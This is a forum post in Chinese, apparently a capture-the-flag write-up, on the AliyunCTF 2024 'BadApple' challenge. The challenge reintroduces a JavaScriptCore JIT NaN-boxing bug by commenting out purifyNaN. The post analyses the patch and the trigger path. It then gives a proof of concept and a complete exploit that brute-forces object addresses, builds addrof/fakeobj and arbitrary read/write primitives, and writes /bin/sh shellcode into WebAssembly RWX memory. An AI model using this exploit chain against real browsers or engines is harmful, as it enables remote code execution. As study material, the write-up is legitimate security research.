-
-
[原创] AliyunCTF 2024 - BadApple
-
发表于: 2024-4-11 23:48 2362
-
@
前言
依稀记得那晚被阿里CTF支配的恐惧,今年的阿里CTF笔者就做了一道签到PWN题,当时也是下定决心要学习 jsc pwn
然后复现这道 BadApple
题目
这个题目重新引入了一个 CVE
,其实出题人已经白给了,因为出题人后面直接把当时漏洞发现者的演讲视频给了,然后通过视频可以找到解析文章,漏洞原理分析、poc
基本都有了,但是当时笔者太菜了(虽然现在也很菜),还是没有搞出来,经过这两天对 JSC
漏洞利用的研究,打算把这道题目复现了
注:如果读者想了解更多关于该漏洞的一些背景,请读者直接移步到参考文章,参考文章写的非常详细,对漏洞原理的分析也非常到位,本文更多的是记录如何从一个漏洞的 patch
一层一层的找到触发该漏洞的逻辑,而且写利用时也会遇到很多坑,笔者也详细做了记录
环境搭建
1 2 3 | git checkout WebKit-7618.1.15.14.7 git apply .. /BadApple . diff Tools /Scripts/build-webkit --jsc-only --release |
漏洞分析
patch
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | diff --git a/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp b/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp index f2b51cf1213a..fd84ab644117 100644 --- a/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp +++ b/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp @@ -4307,7 +4307,7 @@ void SpeculativeJIT::compileGetByValOnFloatTypedArray(Node* node, TypedArrayType } if (format == DataFormatJS) { - purifyNaN(resultReg); + // purifyNaN(resultReg); boxDouble(resultReg, resultRegs); jsValueResult(resultRegs, node); } else { diff --git a/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp b/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp index f4e0bf891a61..6acea11bd819 100644 --- a/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp +++ b/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp @@ -15292,7 +15292,7 @@ IGNORE_CLANG_WARNINGS_END else genericResult = strictInt52ToJSValue(m_out.zeroExt(genericResult, Int64)); } else if (genericResult->type() == Double) - genericResult = boxDouble(purifyNaN(genericResult)); + genericResult = boxDouble(genericResult); results.append(m_out.anchor(genericResult)); m_out.jump(continuation); diff --git a/Source/JavaScriptCore/jsc.cpp b/Source/JavaScriptCore/jsc.cpp index f85c7db6bfbe..6af45c3e477e 100644 --- a/Source/JavaScriptCore/jsc.cpp +++ b/Source/JavaScriptCore/jsc.cpp @@ -616,6 +616,9 @@ private : Base::finishCreation(vm); JSC_TO_STRING_TAG_WITHOUT_TRANSITION(); + // addFunction(vm, "describe"_s, functionDescribe, 1); + // addFunction(vm, "print"_s, functionPrintStdOut, 1); + return ; addFunction(vm, "atob" _s, functionAtob, 1); addFunction(vm, "btoa" _s, functionBtoa, 1); |
这里 DFG
和 FTL
中的两处漏洞都可以单独进行利用,所以这里仅仅看 DFG
中的漏洞,其补丁打在了 SpeculativeJIT::compileGetByValOnFloatTypedArray
函数中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 | void SpeculativeJIT::compileGetByValOnFloatTypedArray(Node* node, TypedArrayType type, const ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix) { ASSERT(isFloat(type)); SpeculateCellOperand base( this , m_graph.varArgChild(node, 0)); SpeculateStrictInt32Operand property( this , m_graph.varArgChild(node, 1)); StorageOperand storage( this , m_graph.varArgChild(node, 2)); GPRTemporary scratch( this ); FPRTemporary result( this ); GPRReg baseReg = base.gpr(); GPRReg propertyReg = property.gpr(); GPRReg storageReg = storage.gpr(); GPRReg scratchGPR = scratch.gpr(); FPRReg resultReg = result.fpr(); std::optional<GPRTemporary> scratch2; GPRReg scratch2GPR = InvalidGPRReg; #if USE(JSVALUE64) if (node->arrayMode().mayBeResizableOrGrowableSharedTypedArray()) { scratch2.emplace( this ); scratch2GPR = scratch2->gpr(); } #endif JSValueRegs resultRegs; DataFormat format; std::tie(resultRegs, format, std::ignore) = prefix(DataFormatDouble); emitTypedArrayBoundsCheck(node, baseReg, propertyReg, scratchGPR, scratch2GPR); switch (elementSize(type)) { case 4: loadFloat(BaseIndex(storageReg, propertyReg, TimesFour), resultReg); convertFloatToDouble(resultReg, resultReg); break ; case 8: { // 【1】 loadDouble(BaseIndex(storageReg, propertyReg, TimesEight), resultReg); break ; } default : RELEASE_ASSERT_NOT_REACHED(); } if (format == DataFormatJS) { // 【2】 // purifyNaN(resultReg); boxDouble(resultReg, resultRegs); jsValueResult(resultRegs, node); } else { ASSERT(format == DataFormatDouble); doubleResult(resultReg, node); } } |
compileGetByValOnFloatTypedArray
函数顾名思义,其是用来优化 GetByValOnFloatTypedArray
操作的,比如如下代码:
1 2 | let f64 = new Float64Array(10); let val = f64[0]; |
对于 f64[0]
在 DFG
阶段会调用 compileGetByValOnFloatTypedArray
对其进行优化,这里的 f64
是 Float64Array
,所以元素大小是 8 字节,其会走到 【1】
处,loadDouble
会根据索引从数组中加载相应的值到 resultReg
中。然后会走到后面的 if-else
处,如果 format == DataFormatJS
则会走到漏洞分支处,可以看到这里直接对 resultReg
进行了 box
处理,即将其转换为 JSValue
这里
format == DataFormatJS
表示优化编译器认为这个值在后面被会作为JSValue
使用,所以会走if
分支调用boxDouble
将其转换为一个JSValue
,否则认为后面会直接使用原始值,所以会走else
分支不做box
处理
可以看到,patch
主要就是注释掉了 purifyNaN(resultReg);
从而引入了漏洞,来看下 pyrifyNaN
函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | // Returns some kind of pure NaN. inline double pureNaN() { return bitwise_cast< double >(0x7ff8000000000000ll); } #define PNaN (pureNaN()) inline bool isImpureNaN( double value) { return bitwise_cast<uint64_t>(value) >= 0xfffe000000000000llu; } // If the given value is NaN then return a NaN that is known to be pure. inline double purifyNaN( double value) { if (value != value) return PNaN; return value; } |
可以看到这里函数的功能就跟其名称一样: purify NaN
,在 JSC
中,其认为 0x7ff8000000000000ll
是一个 pure NaN
。所以这里的意思就是如果数组中的值是 NaN
,则统一使用 pure NaN
,后面简称 PNaN
为啥要统一使用 PNaN
?这里先来看下 boxDouble
boxDouble
的实现有好多个,可以根据参数类型进行判断具体的调用的哪一个实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | void boxDouble(FPRReg fpr, JSValueRegs regs, TagRegistersMode mode = HaveTagRegisters) { boxDouble(fpr, regs.gpr(), mode); } GPRReg boxDouble(FPRReg fpr, GPRReg gpr, TagRegistersMode mode = HaveTagRegisters) { // 【1】 moveDoubleTo64(fpr, gpr); if (mode == DoNotHaveTagRegisters) sub64(TrustedImm64(JSValue::NumberTag), gpr); else { // 【2】 sub64(GPRInfo::numberTagRegister, gpr); jitAssertIsJSDouble(gpr); } return gpr; } |
所以之前的函数走的是 【2】
分支,这里首先将 fpr
赋值给了 gpr
,然后执行 sub64(GPRInfo::numberTagRegister, gpr);
即 gpr = gpr - GPRInfo::numberTagRegister
,这里跟踪一下:
1 | static constexpr GPRReg numberTagRegister = X86Registers::r14; |
所以这里 GPRInfo::numberTagRegister
对于的是虚拟寄存器 r14
,行那么问题来了?r14
在实际运行时到底是多少呢?这里还是不知道,所以我们还是根据 GPRInfo::numberTagRegister
的名称进行搜索:
1 2 3 | // If all bits in the mask are set, this indicates an integer number, // if any but not all are set this value is a double precision number. static constexpr int64_t NumberTag = 0xfffe000000000000ll; |
最后找到了一个比较相关的,其值为 0xfffe000000000000ll
,其实可以发现其就是 integer JSValue
的 mask
,所以这里我们可以认为其就是 gpr = gpr - 0xfffe000000000000ll
,但是似乎也不对啊,double JSValue
应该是 gpr = gpr + 0x0002000000000000ll
才对啊,别急:
1 2 3 4 5 | gpr = gpr-0xfffe000000000000ll = gpr-0xfffe000000000000ll-0x0002000000000000ll+0x0002000000000000ll = gpr-(0xfffe000000000000ll+0x0002000000000000ll)+0x0002000000000000ll = gpr-0x1_0000000000000000[发生溢出]+0x0002000000000000ll = gpr+0x0002000000000000ll |
所以其是等效的,这里的效果就是 gpr = gpr + 0x0002000000000000ll
,行,接下来我们在梳理一下程序的流程:
1 2 3 4 | f64[0] ==> resultReg = loadDouble if format == DataFormatJS is true ==> resultReg + 0x0002000000000000ll ==> return |
这里其实漏洞就很明显了,如果 resuleReg = 0xfffe_????_????_????
,那么此时就会发生溢出:
1 2 | resultReg + 0x0002000000000000ll = 0xfffe_????_????_???? + 0x0002000000000000ll = 0x0000_????_????_???? |
而 0x0000_????_????_????
会被当作一个指针,所以就获得了一个 fakeObject
原语。那么这里 resuleReg
可以为 0xfffe_?...?
吗?答案是可以的,比如如下代码:
1 2 3 4 | let f64 = new Float64Array(10); let u64 = new BigUint64Array(f64); u64[0] = 0xfffe_0000_0000_1111n; let val = f64[0]; |
这里我们顺便看下为啥加上 purifyNaN
就可以消除这个漏洞,我们知道 0xfffe_????_????_????
对于 double
而言都是 NaN
(其实只要指数域全部置位,尾数域不全为 0,表示的就是 NaN
),所以对于此类值,我们都统一使用 PNaN = 0x7ff8000000000000ll
,这时:
1 2 | resultReg + 0x0002000000000000ll = 0x7ff8000000000000ll + 0x0002000000000000ll = 0x7ffa000000000000 |
可以看到这里就避免了溢出的发生
漏洞触发:
接下来就是关键的漏洞触发路径的探索了
通过上面的分析,我们知道想要触发漏洞,就要执行到:
1 2 3 4 | void SpeculativeJIT::compileGetByValOnFloatTypedArray( Node* node, TypedArrayType type, const ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix) |
并且要求最后执行 if
分支,即 format == DataFormatJS
得成立,而 format
被赋值的语句如下:
1 2 3 4 5 6 7 | void SpeculativeJIT::compileGetByValOnFloatTypedArray(Node* node, TypedArrayType type, const ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix) { ...... JSValueRegs resultRegs; DataFormat format; std::tie(resultRegs, format, std::ignore) = prefix(DataFormatDouble); ...... |
可以看到 format
的值为 compileGetByValOnFloatTypedArray
的第三个参数 prefix
(其是一个 lambda
函数) 返回值 tuple
的第二个值。所以这里目标就很清楚了:
- 调用
compileGetByValOnFloatTypedArray
函数 - 传入的第三个参数
prefix
执行后返回值tuple
的第二个元素为DataFormatJS
先看下有哪些函数调用 compileGetByValOnFloatTypedArray
,经过搜索,笔者仅在如下路径中找到调用:
1 2 | Source\JavaScriptCore\dfg\DFGSpeculativeJIT64.cpp ⇒ SpeculativeJIT::compileGetByVal Source\JavaScriptCore\dfg\DFGSpeculativeJIT32_64.cpp ⇒ SpeculativeJIT::compileGetByVal |
然后看 DFGSpeculativeJIT32_64.cp
似乎没用了?这里看下 DFGSpeculativeJIT64.cpp
下的实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 | void SpeculativeJIT::compileGetByVal(Node* node, const ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix) { switch (node->arrayMode().type()) { ...... case Array::Float32Array: case Array::Float64Array: { TypedArrayType type = node->arrayMode().typedArrayType(); if (isInt(type)) compileGetByValOnIntTypedArray(node, type, prefix); else compileGetByValOnFloatTypedArray(node, type, prefix); } } } |
这里继续跟踪 compileGetByVal
的引用,看看谁调用了它,最后找到如下调用:
1 2 3 | // DFGSpeculativeJIT32_64.cpp 下的是一样的,就不多说了 Source\JavaScriptCore\dfg\DFGSpeculativeJIT64.cpp ⇒ SpeculativeJIT::compile Source\JavaScriptCore\dfg\DFGSpeculativeJIT.cpp ⇒ SpeculativeJIT::compileEnumeratorGetByVal |
这里先来看下 SpeculativeJIT::compile
函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | void SpeculativeJIT::compile(Node* node) { NodeType op = node->op(); ...... switch (op) { ...... case GetByVal: { JSValueRegsTemporary result; compileGetByVal(node, scopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>([&] (DataFormat preferredFormat) { JSValueRegs resultRegs; switch (preferredFormat) { case DataFormatDouble: break ; default : { result = JSValueRegsTemporary( this ); resultRegs = result.regs(); break ; } }; return std::tuple { resultRegs, preferredFormat, CanUseFlush::Yes }; })); break ; } |
这里我并没有在外部找到 preferredFormat
的定义,所以这里 lambda
函数返回的 tuple
的第二个元素似乎不确定,所以这条路径暂时放弃
然后再来看下 SpeculativeJIT::compileEnumeratorGetByVal
函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | void SpeculativeJIT::compileEnumeratorGetByVal(Node* node) { Edge baseEdge = m_graph.varArgChild(node, 0); auto generate = [&] (JSValueRegs baseRegs) { ...... compileGetByVal(node, scopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat)>([&] (DataFormat) { ...... return std::tuple { resultRegs, DataFormatJS, CanUseFlush::No }; })); ...... }; ...... } |
可以到这里 lambda
函数返回的 tuple
的第二个元素恒为 DataFormatJS
,这时符合条件的,并且由于其固定为 DataFormatJS
,对漏洞利用的稳定性也有很大的帮助
说实话,感觉是真的巧,巧合就有这么一个函数,巧合其返回的就是
DataFormatJS
,差一个环节,这个漏洞的利用都会显得非常困难
所以最后我们需要执行到 compileEnumeratorGetByVal
逻辑即可,而跟踪可以知道,其会在 SpeculativeJIT::compile
中被调用:
1 2 3 4 5 6 7 8 9 10 11 | void SpeculativeJIT::compile(Node* node) { NodeType op = node->op(); ...... switch (op) { ...... case EnumeratorGetByVal: { compileEnumeratorGetByVal(node); break ; } ...... |
根据 case
可以知道,其是处理 EnumeratorGetByVal
操作的,并且这里基本上就到了优化编译路径的顶层了
1 2 3 4 5 6 7 8 9 | void SpeculativeJIT::compileCurrentBlock() { ASSERT(m_compileOkay); ...... for (m_indexInBlock = 0; m_indexInBlock < m_block->size(); ++m_indexInBlock) { m_currentNode = m_block->at(m_indexInBlock); ...... compile(m_currentNode); ...... |
接下来就是要看看 EnumeratorGetByVal
对应的操作是什么,这里结合 chatGPT
食用:
在
JavaScriptCore
中,EnumeratorGetByVal
是一个函数,用于在枚举对象的属性时获取指定键的值。
当使用for...in
语句或Object.keys()
等方法枚举对象的属性时,JavaScriptCore
使用EnumeratorGetByVal
函数来获取每个属性的值。
这里不禁让我想到了 V8
中 for-in
的实现,for-in
其实是一个非常耗时的语句,不同的引擎针对 for-in
的实现都做了不同的优化,在 V8
中,其主要就是通过 enum cache
去加速 for-in
语句的属性查找,之前分析过的 V8
中关于 enum cache
的漏洞就是 enum cache
在对象类型改变时没有及时更新从而导致越界,感兴趣的读者可以参考之前笔者的文章
还是回到 JSC
中来,笔者并没用找到 JSC
中关于 for-in
的实现资料,关于源码.....嗯,笔者暂时没打算直接读源码,因为笔者现在还在对 JSC
的整个编译流程做总结,还没用打算深入源码,毕竟还得慢慢来,一口不能吃成一个大胖子
但是到这里我们就可以尝试写 poc
了,我们只需要知道 for-in
中利用 key
获取属性值时会走到漏洞逻辑进行了,考虑如下 poc
:由于对 JSC
的一些编译管道不是很熟悉,所以 poc
写了很久都没写出来,最后直接看官方 poc
吧......
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | let abuf = new ArrayBuffer(8); let lbuf = new BigUint64Array(abuf); let fbuf = new Float64Array(abuf); obj = {other:1}; function trigger(arg, t) { for (let i in obj) { obj = [0]; t.x = arg[i]; } } t = {x: {}}; trigger(obj, t); for (let i = 0 ; i < 0x1000; i++) { trigger(fbuf,t); } lbuf[0] = 0xfffe0000_00000001n; trigger(fbuf, t); t.x; |
调试程序 crash
:
可以看到程序 crash
的原因是内存读写错误,因为此时的 r13 = 1
是一个无效地址
漏洞利用
现在我们已经获得了一个 fakeObject
原语,接下来就是去考虑该如何进行利用了......说实话,我还真不知道咋利用,毕竟没有 addressOf
原语就没办法泄漏相关对象的地址,从而无法去伪造合法的对象,所以这里得想办法泄漏对象地址
这里参考文章中给出了一种方案,这里不细说,具体请参考参考文章,简单来说就是当 ===
操作被优化后,其直接使用 cmp
指令进行比较,那么我们可以利用一个有效指针和无效指针进行比较从而爆破对象地址
笔者在写 exp
的时候遇到了很多问题,而这些问题在参考文章中都没有说明,所以笔者带着大家去解决这些问题:
- 1、防止
GC
发生,由于存在对一些非法对象的引用,如果触发GC
则会导致crash
- 2、防止循环爆破地址的过程中发生一些优化,否则会导致程序
crash
,因为优化时会对对象进行检查 - 3、还有一些其它问题,我也说不明白是什么问题
首先说明下,在 ubu20.04
上,我发现对象的低 24
比特似乎是固定的:不知道是不是平台的原因,还是是其跟 V8
有差不多的特性?
接下来就跟着笔者去碰一碰利用过程中遇到的问题吧,第一版爆破对象地址的 exp
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | var abuf = new ArrayBuffer(8); var lbuf = new BigUint64Array(abuf); var fbuf = new Float64Array(abuf); var t = {x: {}}; var obj = {x:1234, y:1234}; var obj_to_leak = { p1: 1337, p2: 1337 }; function trigger(arg, a2) { for (let i in obj) { obj = [1]; let out = arg[i]; a2.x = out; } } function compare_obj(pointer, target_obj) { return pointer.x === target_obj; } function fakeObject(addr) { lbuf[0] = 0xfffe_0000_0000_0000n + addr; trigger(fbuf, t); } trigger(obj, t); trigger(t, obj_to_leak); for (let i = 0 ; i < 0x1000; i++) { trigger(fbuf,t); } for (let i = 0; i < 0x10000; i++) { compare_obj(t, obj_to_leak); } debug(describe(obj_to_leak)); var addr = 0n; for (let i = 0n; i < 0xffffn; i += 1n) { print(i); addr = 0x7f0000500180n + i*0x1000000n; fakeObject(addr); let res = compare_obj(t, obj_to_leak); if (res) { print( "Success" ); break } } debug(describe(obj_to_leak)); print( "addr: 0x" +addr.toString(16)); |
运行直接 crash
:
调试看看是哪里出了问题:
可以看到这里的 rdi
就是我们进行爆破的地址,现在其是一个无效的地址,所以这里 [rdi+0x5]
发生了内存访问错误,看调用栈可以知道其发生在如下调用逻辑:
1 2 3 4 | [#0] 0x7ffff6616dfb → JSC::speculationFromCell(JSC::JSCell*)() [#1] 0x7ffff65f7655 → JSC::CompressedLazyValueProfileHolder::computeUpdatedPredictions(JSC::ConcurrentJSLocker const &, JSC::CodeBlock*)() [#2] 0x7ffff65936bc → JSC::CodeBlock::updateAllPredictions()() [#3] 0x7ffff6f6e71d → operationOptimize() |
而且通过 rdi
的值可以知道其是在爆破的过程中发生了,所以这里应该是在爆破的过程中发生了优化,其实大概就可以猜测是因为某个操作循环了多次导致的,这里读者可以大概去看一下 operationOptimize
函数(其实也不用看),然后就可以知道 updateAllPredictions
函数用来更新预测信息的(其实根据函数名也知道)
所以接下来就是去找出是哪里发生了优化,这里基本也是连猜带懵(其实这里可以主要到其明显与伪造对象有关,而结合源代码,基本上就可以知道是哪里出现了问题),当然这里笔者也没搞懂底层的根本原因,所以就不多说了,直接看代码
这里笔者写出了第二版泄漏代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 | var abuf = new ArrayBuffer(8); var lbuf = new BigUint64Array(abuf); var fbuf = new Float64Array(abuf); var t = {x: {}}; var obj = {x:1234, y:1234}; var obj_to_leak = { p1: 1337, p2: 1337 }; function trigger(arg, a2) { for (let i in obj) { obj = [1]; let out = arg[i]; a2.x = out; } } function compare_obj(pointer, target_obj) { return pointer.x === target_obj; } function fakeObject(addr) { lbuf[0] = 0xfffe_0000_0000_0000n + addr; trigger(fbuf, t); } trigger(obj, t); trigger(t, obj_to_leak); for (let i = 0 ; i < 0x1000; i++) { trigger(fbuf,t); } lbuf[0] = 0xfffe0000_22222222n; for (let i = 0; i < 0x1000; i++) { trigger(fbuf, t); } for (let i = 0; i < 0x10000; i++) { compare_obj(t, obj_to_leak); } debug(describe(obj_to_leak)); var addr = 0n; for (let i = 0n; i < 0xffffn; i += 1n) { print(i); addr = 0x7f0000500180n + i*0x1000000n; fakeObject(addr); let res = compare_obj(t, obj_to_leak); if (res) { print( "Success" ); break } } debug(describe(obj_to_leak)); print( "addr: 0x" +addr.toString(16)); |
笔者增加了如下代码去提前进行相关优化:你若问我为什么,我也不知道,就是瞎调,然后连猜带懵的...
1 2 3 4 | lbuf[0] = 0xfffe0000_22222222n; for (let i = 0; i < 0x1000; i++) { trigger(fbuf, t); } |
为什么选择 0xfffe0000_22222222n
呢?因为笔者测试发现如果你把原始 poc
中的 0xfffe0000_00000001n
换成0xfffe0000_22222222n
,程序不会崩溃,当然还有一些其它值也不会崩溃,比如 0xfffe0000_00000002n、0xfffe0000_00000006n
等等,这里 2
表示的是 Null
,6
表示的是 false
,所以其不会崩溃自然可以理解
运行结果如下:
虽然还是崩溃了,但是可以看到现在可以执行的更远了,这里是执行到了 19565
,而上面仅仅执行到了 159
,还是调试分析下:
可以看到这里的崩溃原因与第一版的并不一样,并且这版运行的更远,说明上一个版本的问题我们已经成功解决了。但是这个问题,笔者并没有很好的解决,因为笔者感觉是 gc
的问题,所以多跑几次吧.......悲
如果读者针对该问题有比较好的解决方案,欢迎交流~~~
泄漏了对象地址后,其实就比较简单了,直接套模板就行了,exp
其实可以简化的,但是不想改了,因为 obj_to_leak
对象的地址的低 24
比特随着代码而改变,增加一行代码或减少一行代码都有可能使得其地址低 24
比特被改变,如果存在像 V8
那样的通用堆喷就好了~~~exploit
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 | var buf = new ArrayBuffer(8); var dv = new DataView(buf); var u8 = new Uint8Array(buf); var u32 = new Uint32Array(buf); var u64 = new BigUint64Array(buf); var f32 = new Float32Array(buf); var f64 = new Float64Array(buf); function pair_u32_to_f64(l, h) { u32[0] = l; u32[1] = h; return f64[0]; } function u64_to_f64(val) { u64[0] = val; return f64[0]; } function f64_to_u64(val) { f64[0] = val; return u64[0]; } function set_u64(val) { u64[0] = val; } function set_l(l) { u32[0] = l; } function set_h(h) { u32[1] = h; } function get_l() { return u32[0]; } function get_h() { return u32[1]; } function get_u64() { return u64[0]; } function get_f64() { return f64[0]; } function get_fl(val) { f64[0] = val; return u32[0]; } function get_fh(val) { f64[0] = val; return u32[1]; } function hexx(str, val) { print(str+ ": 0x" +val.toString(16)); } function sleep(ms) { return new Promise((resolve) => setTimeout(resolve, ms)); } var abuf = new ArrayBuffer(8); var fbuf = new Float64Array(abuf); var lbuf = new BigUint64Array(abuf); var arrs = new Array(0x20).fill({}); for (let i = 0; i < 0x20; i++) { arrs[i] = { x: 1337, y: 1337 }; }; var t = { x: 1337, y: 1337}; var obj = { x: 1337, y: 1337 }; var obj_to_leak = { x: 1337, y: 1337 }; var header = { x: 1337, y: 1337 }; var butterfly = { x: 200, y: 1337 }; var addressOf_obj = { x: 1337, y: 1337 }; function trigger(arr, a2) { for (let i in obj) { obj = [1]; let out = arr[i]; a2.y = out; } } function fakeObject(addr, a2) { lbuf[0] = 0xfffe_0000_0000_0000n + addr; trigger(fbuf, a2); } function compare_obj(pointer, target_obj) { return pointer.y === target_obj; } trigger(obj, t); compare_obj(t, obj_to_leak); for (let i = 0; i < 0x30000; i++) { trigger(fbuf, t); } lbuf[0] = 0xfffe0000_22222222n;; for (let i = 0; i < 0x1000; i++) { trigger(fbuf, t); } for (let i = 0; i < 0x10000; i++) { compare_obj(t, obj_to_leak); } print( "==> Go" ); //debug(describe(obj_to_leak)); var addr = 0n; for (let i = 0n; i < 0xffffn; i += 1n) { addr = 0x7fffff50c580n - i*0x1000000n; // print(i); // hexx("addr", addr); fakeObject(addr, t); let res = compare_obj(t, obj_to_leak); if (res) { hexx( "addr" , addr); break ; } } obj_to_leak.x = u64_to_f64(0x0108230700000000n-0x2000000000000n); fakeObject(0x2000000020n, header); obj_to_leak.y = butterfly; fakeObject(addr+0x10n, t); var fake_object = t.y; //debug(describe(obj_to_leak)); //debug(describe(header)); //debug(describe(butterfly)); //debug(describe(addressOf_obj)); function addressOf(obj) { butterfly.x = obj; return f64_to_u64(fake_object[2]); } print( "==> End" ); hexx( "test" , addressOf(addressOf_obj)); function fakeObject_better(addr) { fake_object[2] = u64_to_f64(addr); return butterfly.x; } function leakStructureID(obj) { let container = { jscell: u64_to_f64(0x0108230700000000n-0x2000000000000n), butterfly: obj }; let fake_object_addr = addressOf(container) + 0x10n; let leak_fake_object = fakeObject_better(fake_object_addr); let num = f64_to_u64(leak_fake_object[0]); let structureID = num & 0xffffffffn; container.jscell = f64[0]; return structureID; } var noCOW = 1.1; var arrs = []; for (let i = 0; i < 100; i++) { arrs.push([noCOW]); } var ID = [noCOW]; //debug(describe(ID)); var structureID = leakStructureID(ID); hexx( "structureID" , structureID); var victim = [noCOW, 1.1, 2.2]; victim[ 'prop' ] = 3.3; victim[ 'brob' ] = 4.4; var container = { jscell: u64_to_f64(structureID+0x0108230900000000n-0x2000000000000n), butterfly: victim }; var container_addr = addressOf(container); var driver_addr = container_addr + 0x10n; var driver = fakeObject_better(driver_addr); //debug(describe(victim)); //debug(describe(driver)); var unboxed = [noCOW, 1.1, 2.2]; var boxed = [{}]; driver[1] = unboxed; var sharedButterfly = victim[1]; hexx( "sharedButterfly" , f64_to_u64(sharedButterfly)); //debug(describe(unboxed)); driver[1] = boxed; victim[1] = sharedButterfly; function new_addressOf(obj) { boxed[0] = obj; return f64_to_u64(unboxed[0]); } function new_fakeObject(addr) { unboxed[0] = u64_to_f64(addr); return boxed[0]; } function read64(addr) { driver[1] = new_fakeObject(addr + 0x10n); return new_addressOf(victim.prop); } function write64(addr, val) { driver[1] = new_fakeObject(addr + 0x10n); victim.prop = u64_to_f64(val);; } function ByteToDwordArray(payload) { let sc = []; let tmp = []; let len = Math.ceil(payload.length / 6); for (let i = 0; i < len; i += 1) { tmp = 0n; pow = 1n; for (let j = 0; j < 6; j++){ let c = payload[i*6+j] if (c === undefined) { c = 0n; } pow = j==0 ? 1n : 256n * pow; tmp += c * pow; } tmp += 0xc000000000000n; sc.push(tmp); } return sc; } function arb_write(addr, payload) { let sc = ByteToDwordArray(payload); for (let i = 0; i < sc.length; i++) { write64(addr, sc[i]); addr += 6n; } } var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128, 128,0,1,96,0,1,127,3,130,128,128,128, 0,1,0,4,132,128,128,128,0,1,112,0,0,5, 131,128,128,128,0,1,0,1,6,129,128,128,128, 0,0,7,145,128,128,128,0,2,6,109,101,109,111, 114,121,2,0,4,109,97,105,110,0,0,10,142,128,128, 128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]); var wasm_module = new WebAssembly.Module(wasm_code); var wasm_instance = new WebAssembly.Instance(wasm_module); var pwn = wasm_instance.exports.main; var pwn_addr = new_addressOf(pwn); hexx( "pwn_addr" , pwn_addr); var rwx_ptr = read64(pwn_addr + 0x30n); var rwx_addr = read64(rwx_ptr);; hexx( "rwx_addr" , rwx_addr); var shellcode =[106n, 104n, 72n, 184n, 47n, 98n, 105n, 110n, 47n, 47n, 47n, 115n, 80n, 72n, 137n, 231n, 104n, 114n, 105n, 1n, 1n, 129n, 52n, 36n, 1n, 1n, 1n, 1n, 49n, 246n, 86n, 106n, 8n, 94n, 72n, 1n, 230n,86n, 72n, 137n, 230n, 49n, 210n, 106n, 59n, 88n, 15n, 5n]; arb_write(rwx_addr, shellcode); pwn(); |
效果如下:
总结
通过对该漏洞的分析与调试,笔者学习了如何通过一个 fakeObject
原语进行 RCE
,并且也让我认识到了自己对 JIT
真是了解甚少,原作者通过 ===
优化后的代码去爆破对象地址可谓妙哉
但是自己写利用,调试分析 exp
的问题从而针对问题进行修改,这对笔者的漏洞利用能力有极大的帮助,当然也希望自己可以跟上大佬的步伐,早日成功一个还不错的安全研究人员
参考
Safari, Hold Still for NaN Minutes!
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。
赞赏
- [原创] CVE-2024-3159:Out-of-bounds access in ReduceJSLoadPropertyWithEnumeratedKey 2283
- [原创] CVE-2023-4427:Out-of-bounds access in ReduceJSLoadPropertyWithEnumeratedKey 1788
